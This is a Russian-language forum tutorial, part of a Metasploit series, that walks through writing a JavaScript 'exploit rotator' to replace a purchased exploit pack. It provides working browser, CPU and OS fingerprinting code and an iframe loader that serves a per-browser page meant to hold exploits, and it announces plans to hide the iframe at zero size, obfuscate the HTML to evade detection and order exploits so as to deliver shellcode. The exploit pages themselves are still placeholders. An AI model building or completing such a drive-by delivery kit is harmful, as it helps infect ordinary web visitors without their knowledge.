Ротатор эксплоитов (или Metasploit Framework часть 6)
Предисловие.
Статья расщитана не на новичков, а на тех кто уже знаком с пакетом разработки эксплоитов на практике. Остальным рекомендую почитать первые части. Заинтересованным рекомендую ознакомиться с официальным мануалом релиза 3.0 (вышел 27 марта 2007 года), перевод которого осуществил
n0ne и выложил у себя на сайте
Почитать пользовательский мануал по MSF 3.0, за что ему огромный респект!
Что такое Ротатор? Ну наверно многие слышали, видели объявления, "продаю связку эсплоитов, пробив столько-то процентов, цена 1000$". Ну
вот, например. Что же это за зверь? Опишу своими словами. Связка сплоитов - набор эксплоитов, которые эксплуатируют те или иные уязвимости в приложениях, сервисах и т. п. Причём по определённому алгоритму, ну типа не пробил один сплоит, пробуем следующий... и т.д. Вообщем, я подумал, что ввиду большого количества паблик эксплоитов для браузеров (в основной массе IE) пора написать простенький ротатор по типу той интелектуальной связки эксплоитов, и доводить его до ума, совершенствуя алгоритм ротации. Возьмём многие идеи автора, запостившего объявление о продаже своей связки на вооружение и попробуем сэкономить 500$-1000$. (Ведь сплоиты то есть в паблике! - за что платить? За двиг ротатора? За скрипты сбора статистики пробива браузеров? Попробуем всё сделать своими руками, и так с...
1. Подготовка.
а). Определимся с типом жертвы: Жертва у нас будет популярные браузеры IE - в первую очередь (как самый дырявый браузер), в меньшей степени Opera и FireFox (имеющих мало паблик уязвимостей).
б). Нам потребуется:
- ПО Metasploit Framework 3.0 (релиз) скачать можно тут: http://metasploit.com/
- Минимальные знания html и javascript;
- Все три популярных браузера (для тестирования);
- Редактор html c подсветкой синтаксиса (пойдёт и визуальный).
- Прямые руки и светлая голова.
2. Типа начинаем кодить.
Определяемся с алгоритмом ротации и языком на котором будем писать:
- Ну во первых откажемся от PHP и Perl, так как возможность их использования, как правило отсутствует на бесплатных хостингах, а вешать ротатор в iframe мы будем именно на них. А так же ввиду того, что мы не ахти какие кодеры на PHP и Perl (не обладаем достаточными знаниями). Поэтому остаётся javascript, исполняемый в браузере клиента. И так алгоритм:
- Определяем тип нашего клиента (тип браузера) юзверя посетившего нашу страничку. Сделаем это с помощью javascript, велосипед изобретать не будем, а возьмём готовый код, например отсюда: http://www.xakep.ru/magazine/xa/080/048/2.asp
Код:
<script language="javascript">
document.write ("You are using: " + navigator.appName)
document.write ("CPU type: " + navigator.cpuClass)
document.write ("Screen Resolution: " + screen.width + "x" + screen.height)
document.write ("Available Screen Resolution: " + screen.availWidth + "x" + screen.availHeight)
document.write ("Screen Color Depth: " + screen.colorDepth)
today = new Date()
document.writeln("Date & time on your computer and time zone is: " + today)
document.writeln("Date & time in your locale format: " + today.toLocaleString())
</script>
Здесь для нас важная 1 строка, она определяет тип браузера. Оставим то, что нам нужно и проверим, как присваивается переменной brouser значение (Тип браузера), а переменной cpu - тип CPU
Код:
<script language="javascript">
brouser=navigator.appName
cpu=navigator.cpuClass
document.write ("You are using: " + brouser)
document.write ("CPU type: " + cpu)
</script>
Проверили - всё ок.
- Хорошо бы достать версию OC, не уверен что это можно сделать с помощью javascript поэтому придётся лезть в документацию или Гугл. Я полез в Гугл (в javascript я чайник, так что не бейте сильно) 5 секунд и ответ найден: Можно определить и ОС, ниже приведён код функции определения версии ОС на javascript
:
Код:
<SCRIPT language=JavaScript>
function test_os() {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var OpSys = "Windows 98"; }
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var OpSys = "Windows 95"; }
else if(navigator.appVersion.indexOf("16") !=-1)
{ var OpSys = "Windows 3.1"; }
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var OpSys= "Windows NT"; }
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var OpSys = "Linux"; }
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var OpSys = "Macintosh"; }
else { var OpSys = "other"; }
return OpSys;
}
</SCRIPT>
Потом в теле вызываем эту функцию:
Код:
<BODY>
<SCRIPT language=JavaScript>
var OpSys = test_os();
document.write("Вы используете ОС: " + OpSys);
</SCRIPT>
</BODY>
Ну что же, неплохо, на входе нашего будущего Ротатора (а он будет на яваскрипт javascript) мы имеем три переменные: brouser, cpu, OpSys (тип броузера, тип цп, тип OC). В зависимости от этих значений и будем проводить ротацию эксплоитов. Если со значением переменной OpSys всё ясно (видно из кода), то посмотрим какие значения может принимать переменная brouser, для этого зайдём попеременно тремя популярными браузерами. И так Опера - brouser="Opera", IE - brouser="Microsoft Internet Explorer", FireFox - brouser="Netscape". То есть в зависимости от типа браузера мы будем использовать разные наборы сплоитов. И так у нас появились три ветви. Реализуем это на javascript, чтоб в Iframe выводилась нужная страница. Обзовём их по значению переменной brouser: Microsoft Internet Explorer.html, Opera.html, Netscape.html
За основу возьмём код, любезно предоставленный _Nikolas_ для ротации сайтов в iframe и подправим его немного под себя. Будем использовать, его как точку опоры. Кстати он после небольшой переделки подойдёт для автоматической ротации вредоносных страниц, содержащих эксплоиты.
Код:
<html>
<head>
<title></title>
<script type="text/javascript">
var sites = new Array();
var currentSite = 0;
//тут добавляешь скока хошь сайтов
sites[0] = "http://mail.ru";
sites[1] = "http://ya.ru";
sites[2] = "http://google.com";
function changeSite() {
document.getElementById( "ifrm" ).src = sites[currentSite];
currentSite++;
if ( currentSite >= sites.length ) {
currentSite = 0;
}
}
setInterval( "changeSite()", 5000 );
</script>
</head>
<body onload="changeSite()">
<iframe id="ifrm" src="ya.ru"/>
</body>
</html>
Я исправил для начала так:
Код:
<html>
<head>
<title></title>
<script type="text/javascript">
var sites = new Array();
var currentPage = 0;
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "Opera.html";
sites[1] = "Microsoft Internet Explorer.html";
sites[2] = "Netscape.html";
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
currentPage++;
if ( currentPage >= sites.length ) {
currentPage = 0;
}
}
setInterval( "changePage()", 500 );
</script>
</head>
<body onload="changePage()">
<iframe id="ifrm" src="Microsoft Internet Explorer.html"/>
</body>
</html>
Сделаем пока 3 пустые страницы с одной надписью (имя браузера), для вывода в iframe и и обзовём их по типу браузеров:
Например: страница Netscape.html, содержимое:
Код:
<html>
<head>
<meta http-equiv="Content-Language" content="ru">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>FireFox</title>
</head>
<body>
<p align="left"><font size="6">FireFox</font></p>
<p>Тут будет ротация эксплоитов для Mozilla FireFox</p>
</body>
</html>
Проверяем, всё работает, в iframe меняются переодически наши (пока ещё не вредоносные странички. Но Ротация тут нам не нужна, а нужен выбор только одной страницы, в зависимости от значения переменной brouser.
Поэтому просто исправляем код под наши нужды:
Код:
<script type="text/javascript">
var sites = new Array();
var currentPage = nomer();
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "Microsoft Internet Explorer.html";
sites[1] = "Opera.html";
sites[2] = "Netscape.html";
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
}
</script>
Осталось написать функцию nomer() - она будет возвращать число от 0 до 2, в зависимости от типа браузера, вот её код:
Код:
<SCRIPT language=JavaScript>
function nomer() {
var nomer="0"
if (brouser==="Microsoft Internet Explorer")
{ nomer="0"; }
else if (brouser==="Opera")
{ nomer="1"; }
else if (brouser==="Netscape")
{ nomer="2"; }
return (nomer);
}
</SCRIPT>
И так собираем всё вместе:
Код:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Ротатор Эксплоитов</title>
</head>
<SCRIPT language=JavaScript>
<!-- определяем значения переменных -->
brouser=navigator.appName
cpu=navigator.cpuClass
<!-- функция определения ОС -->
function test_os() {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var OpSys = "Windows 98"; }
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var OpSys = "Windows 95"; }
else if(navigator.appVersion.indexOf("16") !=-1)
{ var OpSys = "Windows 3.1"; }
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var OpSys= "Windows NT"; }
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var OpSys = "Linux"; }
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var OpSys = "Macintosh"; }
else { var OpSys = "other"; }
return OpSys;
}
<!-- выводим на экран для контроля -->
document.write (" CPU type: " + cpu + " Операционная система : " + test_os())
<!-- функция номер IE=0, Opera=2, FireFox=3 -->
function nomer() {
var nomer="0"
if (brouser==="Microsoft Internet Explorer")
{ nomer="0"; }
else if (brouser==="Opera")
{ nomer="1"; }
else if (brouser==="Netscape")
{ nomer="2"; }
return (nomer);
}
<!-- выводим на экран для контроля имя браузера и присвоенные ему код-->
document.write(", Вы используете браузер: " + brouser + ", его код=" + nomer());
<!-- выбираем нужную страницу в iframe по коду-->
var sites = new Array();
var currentPage = nomer();
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "Microsoft Internet Explorer.html";
sites[1] = "Opera.html";
sites[2] = "Netscape.html";
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
}
</script>
<body onload="changePage()">
<iframe id="ifrm" src=""/>
</body>
</html>
Вот так, нихрена не соображая в javascript, мы написали корявый но рабочий код (заготовку) нашего будущего ротатора.
Конечно мы потом уберём весь вывод на экран, сделаем фрейм невидимым (нулевого размера) и попробуем закодировать html, чтоб явно не палился...
А также используем полученные глобальные переменные (OpSys, cpu) и для определения оптимального алгоритма ротации страниц с эксплоитами, чтоб сразу не свалить браузер в даун, а попытаться исполнить начинку (полезный груз, шеллкод) сначала более надёжными сплоитами (работающими в большинстве случаев).
P.S. Статья не окончена - будет продолжение.
Принимаю замечания и исправления, а так же ваши варианты оптимизированного кода на Javascript и html